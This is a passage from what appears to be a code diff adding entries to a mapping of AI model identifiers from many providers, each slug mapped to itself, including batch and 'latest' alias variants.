'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 